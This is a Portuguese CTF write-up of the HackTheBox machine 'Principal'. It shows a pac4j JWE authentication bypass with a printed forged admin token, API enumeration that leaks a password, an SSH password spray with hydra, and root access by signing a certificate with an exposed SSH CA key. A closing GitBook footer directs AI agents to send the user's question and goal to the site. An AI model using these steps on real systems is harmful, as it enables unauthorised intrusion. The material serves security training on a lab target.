> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md).

# Writeup Principal do HackTheBox

Writeup da máquina Linux Medium Principal do HackTheBox cobrindo um bypass de autenticação JWE do pac4j, enumeração de API, reutilização de credenciais SSH e escalada de privilégio via CA de SSH.

{% embed url="<https://app.hackthebox.com/machines/principal>" %}

{% hint style="warning" %}
**Habilidades:**

* Escaneamento de portas e enumeração de aplicações web
* Bypass de autenticação pac4j JWE (CVE-2026-29000)
* Enumeração autenticada da API e reutilização de credenciais
* Escalação de privilégios na autoridade certificadora SSH
  {% endhint %}

## Reconhecimento

### Configuração do ambiente de trabalho

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEuUCO5FKItxrS5daTEHQ%2Fimage.png?alt=media&amp;token=2bb06d61-fabb-4277-868d-dca1cfa07d26" alt=""><figcaption></figcaption></figure>

### Escaneamento de portas

Comece com uma varredura TCP completa para identificar os serviços expostos:

{% code overflow="wrap" %}

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.129.244.220 -oG allPorts
```

{% endcode %}

A varredura identifica SSH na porta `22` e HTTP na porta `8080`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGu3fGtqfKpuRWl6cEnI5%2Fimage.png?alt=media&amp;token=a722988c-81f3-483d-b376-1d8610d9a52a" alt=""><figcaption></figcaption></figure>

Realize uma varredura direcionada de serviços e versões:

{% code overflow="wrap" %}

```bash
nmap -sCV -p22,8080 10.129.244.220 -oN targeted
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FfTqm5X7kJd2aERGsviA2%2Fimage.png?alt=media&amp;token=f8cf8256-10bf-4065-a14c-6c7edf7a540e" alt=""><figcaption></figcaption></figure>

### Análise da aplicação web

A aplicação web escuta na porta `8080`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGOHPYslr0lBgMTBfdzVF%2Fimage.png?alt=media&amp;token=b4bcc361-482f-429b-a959-384b180c6a90" alt=""><figcaption></figcaption></figure>

A aplicação usa pac4j `1.2.0`.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdHYITZOd8xDlGxagDKlC%2Fimage.png?alt=media&amp;token=f0f6121a-0ae9-4f03-9a66-226604297e0c" alt=""><figcaption></figcaption></figure>

### Burlar autenticação

Esta versão do pac4j é vulnerável a um bypass de autenticação usando um PlainJWT encapsulado em JWE. O problema está registrado como `CVE-2026-29000`.

{% embed url="<https://github.com/advisories/GHSA-pm7g-w2cf-q238>" %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FglkjFkwehLAfFyGveLO1%2Fimage.png?alt=media&amp;token=89b43288-812e-4abf-8f27-b23c75698ff7" alt=""><figcaption></figcaption></figure>

Enumere os caminhos da aplicação com o Gobuster:

{% code overflow="wrap" %}

```bash
gobuster dir -w `fzf-wordlists` -u http://10.129.244.220:8080/ -t 100
```

{% endcode %}

O dashboard redireciona usuários não autenticados para a página de login.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxVrDRdf27GxuT33N1y4K%2Fimage.png?alt=media&amp;token=0e863fa8-236b-4053-b5dc-e185612e22c8" alt=""><figcaption></figcaption></figure>

Carregar o dashboard aciona uma requisição para `/api/auth/jwks`, que expõe o conjunto público de chaves web JSON:

{% code overflow="wrap" %}

```json
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "kid": "enc-key-1",
      "n": "lTh54vtBS1NAWrxAFU1NEZdrVxPeSMhHZ5NpZX-WtBsdWtJRaeeG61iNgYsFUXE9j2MAqmekpnyapD6A9dfSANhSgCF60uAZhnpIkFQVKEZday6ZIxoHpuP9zh2c3a7JrknrTbCPKzX39T6IK8pydccUvRl9zT4E_i6gtoVCUKixFVHnCvBpWJtmn4h3PCPCIOXtbZHAP3Nw7ncbXXNsrO3zmWXl-GQPuXu5-Uoi6mBQbmm0Z0SC07MCEZdFwoqQFC1E6OMN2G-KRwmuf661-uP9kPSXW8l4FutRpk6-LZW5C7gwihAiWyhZLQpjReRuhnUvLbG7I_m2PV0bWWy-Fw"
    }
  ]
}
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fa44fqpILZQxFx9DPtApc%2Fimage.png?alt=media&amp;token=41deccaa-4e01-4ea5-b192-f0516d8b32cd" alt=""><figcaption></figcaption></figure>

Use a chave pública exposta para gerar um token de administrador válido.

{% embed url="<https://codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key>" %}

Use a seguinte prova de conceito:

{% embed url="<https://github.com/alihussainzada/CVE-2026-29000-Python-PoC-pac4j-JWT-AuthenticationBypass-Poc>" %}

Execute a prova de conceito com o `admin` nome de usuário e `ROLE_ADMIN` função:

{% code overflow="wrap" %}

```bash
python3 poc.py \
--jwks http://10.129.244.220:8080/api/auth/jwks \
--user admin \
--role ROLE_ADMIN
```

{% endcode %}

A prova de conceito retorna um token bearer de administrador. Armazene-o em uma variável antes de fazer requisições autenticadas:

{% code overflow="wrap" %}

```bash
Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F5FPHofyBiiuHJqXcfOqn%2Fimage.png?alt=media&amp;token=15fa3379-74d1-4e56-8fbb-ad3f89aa93be" alt=""><figcaption></figcaption></figure>

### Enumeração autenticada da API

Revisão `static/js/app.js` para identificar as rotas expostas da API:

{% code overflow="wrap" %}

```bash
const API_BASE = '';
const JWKS_ENDPOINT = '/api/auth/jwks';
const AUTH_ENDPOINT = '/api/auth/login';
const DASHBOARD_ENDPOINT = '/api/dashboard';
const USERS_ENDPOINT = '/api/users';
const SETTINGS_ENDPOINT = '/api/settings';
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FesLYfS6Saxt1wRxVSw9u%2Fimage.png?alt=media&amp;token=b415653b-8f39-4600-8f2b-241da9487697" alt=""><figcaption></figcaption></figure>

Use o token de administrador para enumerar usuários. A requisição capturada abaixo chama `/api/users`.

{% code overflow="wrap" %}

```http
curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \
    $'http://10.129.244.220:8080/api/users'
```

{% endcode %}

A resposta lista oito usuários. A `svc-deploy` conta é especialmente relevante porque lida com implantações automatizadas de certificados SSH.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9Rpk9a489Yj5GYcBQNZg%2Fimage.png?alt=media&amp;token=fb759905-15f1-40d5-b943-e583c441f8dc" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```json
echo '{"users":[{"email":"s.chen@principal-corp.local","username":"admin","note":"","role":"ROLE_ADMIN","active":true,"lastLogin":"2025-12-28T09:15:00Z","id":1,"department":"Segurança de TI","displayName":"Sarah Chen"},{"email":"svc-deploy@principal-corp.local","username":"svc-deploy","note":"Conta de serviço para implantações automatizadas via autenticação por certificado SSH.","role":"deployer","active":true,"lastLogin":"2025-12-28T14:32:00Z","id":2,"department":"DevOps","displayName":"Deploy Service"},{"email":"j.thompson@principal-corp.local","username":"jthompson","note":"Líder de equipe - serviços de back-end","role":"ROLE_USER","active":true,"lastLogin":"2025-12-27T16:45:00Z","id":3,"department":"Engenharia","displayName":"James Thompson"},{"email":"a.morales@principal-corp.local","username":"amorales","note":"Desenvolvedora de front-end","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T08:20:00Z","id":4,"department":"Engenharia","displayName":"Ana Morales"},{"email":"b.wright@principal-corp.local","username":"bwright","note":"Gerente de operações","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-26T11:30:00Z","id":5,"department":"Operações","displayName":"Benjamin Wright"},{"email":"k.kumar@principal-corp.local","username":"kkumar","note":"Analista de segurança - em licença até 6 de jan.","role":"ROLE_ADMIN","active":false,"lastLogin":"2025-12-20T10:00:00Z","id":6,"department":"Segurança de TI","displayName":"Kavitha Kumar"},{"email":"m.wilson@principal-corp.local","username":"mwilson","note":"Engenheiro de QA","role":"ROLE_USER","active":true,"lastLogin":"2025-12-28T13:10:00Z","id":7,"department":"QA","displayName":"Marcus Wilson"},{"email":"l.zhang@principal-corp.local","username":"lzhang","note":"Diretora de engenharia","role":"ROLE_MANAGER","active":true,"lastLogin":"2025-12-28T07:55:00Z","id":8,"department":"Engenharia","displayName":"Lisa Zhang"}],"total":8}' | jq | grep username
```

{% endcode %}

> admin\
> svc-deploy\
> jthompson\
> amorales\
> bwright\
> kkumar\
> mwilson\
> lzhang

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fc3kaoLe0GSeldjFTKTPx%2Fimage.png?alt=media&amp;token=73020884-2aac-4fb3-b43d-8280e5cba38d" alt=""><figcaption></figcaption></figure>

Em seguida, solicite as configurações da aplicação por meio de `/api/settings`.

{% code overflow="wrap" %}

```bash
curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: 10.129.244.220:8080' -H $'Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwgImN0eSI6ICJKV1QiLCAia2lkIjogImVuYy1rZXktMSJ9.lJCT27onAw65CfXLmP267X9J_qfpRo2UIvYuncCTHtr-8AWtU8-o9sWrnKastoEdX_8Bo9st4hyu7X5QmsMVHWNm0OAfY1pSZHVBaHKz-QaO5BVLS9jqtVhj-1ijwJMK-XzHhgob4VBt7vdx-Cb2yX3oSlowXBXlYKC7TtjrRe51kLbDPh-O8e-aGVzRImyYjwuVL_Vl7-8B8JxllT-WpFeeggqDJF5e-PcCwdOpEuT5j145mmk0CApINBizadrNdH8RHWcDWXBIZDIU6kgW_jkbl0Bv1LfyhUhH-fCINu3HSz6rXl4dvvJyBsR0fpome4ohwBKU4maAiHv7cKTQMw.MHmcP7rXK251tLqi.Ps5Mgwb01hZw9xloF6RDD4ZQ_pm1LzJzdu7IHaQRpOzmcv5Ft2cQ6o7x1P_Y8bkln1SW7uFIZx-XdLOfrV8kt7YGtIQfYBdqZUKrNvrUSxpJU35Yhthpje2WDA5n5sNIi2rPhVvjA0yrT__8kM2mpG2r-5NiTZuGjzft0c57s26F8NAkZBaTUZhe9zj6_X4yKexHd4KpGsOHLWEaB4Ble-w2Vh8Jnma7hQ6wmcxEtp4s0Mr5qA.80TebO2ixei-OFdj7zV7ww' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:157.0) Gecko/20100101 Firefox/157.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.9' -H $'Accept-Encoding: gzip, deflate, br' -H $'Sec-GPC: 1' -H $'Connection: keep-alive' -H $'Upgrade-Insecure-Requests: 1' -H $'Priority: u=0, i' \
    $'http://10.129.244.220:8080/api/settings'
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6laI1zNBfwdRSq6CabHB%2Fimage.png?alt=media&amp;token=98c1406b-058b-47f3-83ed-d151d6e2df78" alt=""><figcaption></figcaption></figure>

Formate a resposta JSON com `jq` para revisar a configuração:

{% code overflow="wrap" %}

```bash
echo '{"system":{"applicationName":"Principal Internal Platform","javaVersion":"21.0.10","serverType":"Jetty 12.x (Embedded)","environment":"produção","version":"1.2.0"},"security":{"authFramework":"pac4j-jwt","authFrameworkVersion":"6.0.3","jwtAlgorithm":"RS256","jweAlgorithm":"RSA-OAEP-256","jweEncryption":"A128GCM","encryptionKey":"D3pl0y_$$H_Now42!","tokenExpiry":"3600s","sessionManagement":"sem estado"},"integrations":[{"status":"conectado","lastSync":"2025-12-28T12:00:00Z","name":"GitLab CI/CD"},{"status":"conectado","lastSync":"2025-12-28T14:00:00Z","name":"Vault"},{"status":"conectado","lastSync":"2025-12-28T14:30:00Z","name":"Prometheus"}],"infrastructure":{"sshCaPath":"/opt/principal/ssh/","notes":"Autenticação por certificado SSH configurada para automação - veja /opt/principal/ssh/ para a configuração da CA.","database":"H2 (embutido)","sshCertAuth":"habilitado"}}' | jq
```

{% endcode %}

O valor de `encryptionKey` expõe uma senha reutilizável:

* D3pl0y\_$$H\_Now42!

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fs7YmXyWJiNusPheIGfmZ%2Fimage.png?alt=media&amp;token=a903b910-2159-4740-8c19-64eb49079764" alt=""><figcaption></figcaption></figure>

### Acesso SSH

Teste a senha vazada contra os nomes de usuário coletados da API:

{% code overflow="wrap" %}

```bash
hydra -L users.txt -p 'D3pl0y_$$H_Now42!' ssh://10.129.244.220
```

{% endcode %}

A senha é válida para a `svc-deploy` conta.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FcxZNsUez6YDRSvVw7zoA%2Fimage.png?alt=media&amp;token=9d43e8de-b1a7-4e1a-bc3e-7406210982e6" alt=""><figcaption></figcaption></figure>

Conecte-se como `svc-deploy` e recupere a flag do usuário:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FuqCiWg2u3kvSJZlwkG1y%2Fimage.png?alt=media&amp;token=24bcdd24-7a05-4dc7-8c3c-15403b1d77c3" alt=""><figcaption></figcaption></figure>

### Escalação de privilégios

O valor de `svc-deploy` A conta pertence ao `deployers` grupo.

{% code overflow="wrap" %}

```bash
id
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FlMvPolPhjpPdTHGmCg0d%2Fimage.png?alt=media&amp;token=7dd1bfc3-ef5b-4de5-9d91-0e2976cae939" alt=""><figcaption></figcaption></figure>

Enumere os arquivos acessíveis a este grupo:

{% code overflow="wrap" %}

```bash
find / -group deployers 2>/dev/null
```

{% endcode %}

O grupo pode acessar o material da autoridade certificadora SSH:

> /etc/ssh/sshd\_config.d/60-principal.conf\
> /opt/principal/ssh\
> /opt/principal/ssh/README.txt\
> /opt/principal/ssh/ca

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FFJUKbXIx3SBC02L5vq2B%2Fimage.png?alt=media&amp;token=e8f75d22-867b-48c8-a098-207eb83e8ffc" alt=""><figcaption></figcaption></figure>

Inspecione `/etc/ssh/sshd_config.d/60-principal.conf`:

{% code overflow="wrap" %}

```bash
# Configuração SSH da máquina Principal
PubkeyAuthentication yes
PasswordAuthentication yes
PermitRootLogin prohibit-password
TrustedUserCAKeys /opt/principal/ssh/ca.pub
```

{% endcode %}

`PermitRootLogin prohibit-password` permite autenticação do root com uma chave. A chave privada da CA acessível pode assinar um certificado para o `root` principal.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FEZSvZxZdUyyRR73JqztO%2Fimage.png?alt=media&amp;token=8c7ab33a-1af5-4076-af95-d89d73d1ebf4" alt=""><figcaption></figcaption></figure>

### Explore indevidamente a autoridade certificadora SSH

Gere um par de chaves temporário:

{% code overflow="wrap" %}

```bash
ssh-keygen -t rsa -b 4096 -f /tmp/id_rsa -N ""
```

{% endcode %}

Assine a chave pública para o `root` principal com a chave privada da CA exposta:

`-I` define a identidade do certificado. `-n` define o principal válido.

{% code overflow="wrap" %}

```bash
ssh-keygen -s /opt/principal/ssh/ca -I "Exploit" -n root /tmp/id_rsa.pub
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fe07nPGDWc0bpgnbNkysP%2Fimage.png?alt=media&amp;token=340936c9-c85f-442a-a79a-3e1e700ae78b" alt=""><figcaption></figcaption></figure>

Conecte-se localmente como `root` com o certificado assinado:

{% code overflow="wrap" %}

```bash
ssh -i /tmp/id_rsa -i /tmp/id_rsa-cert.pub root@localhost

whoami
```

{% endcode %}

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FwfIFCrES7lE0w61ZGcyT%2Fimage.png?alt=media&amp;token=538c6a7a-cacb-4cf6-b2c3-fb0f6b7843ae" alt=""><figcaption></figcaption></figure>

Recupere a flag de root:

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fr6NrdbdExN0XLH0I21sW%2Fimage.png?alt=media&amp;token=8955648b-d079-4b3f-9176-746b3f06c141" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-medium/principal-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.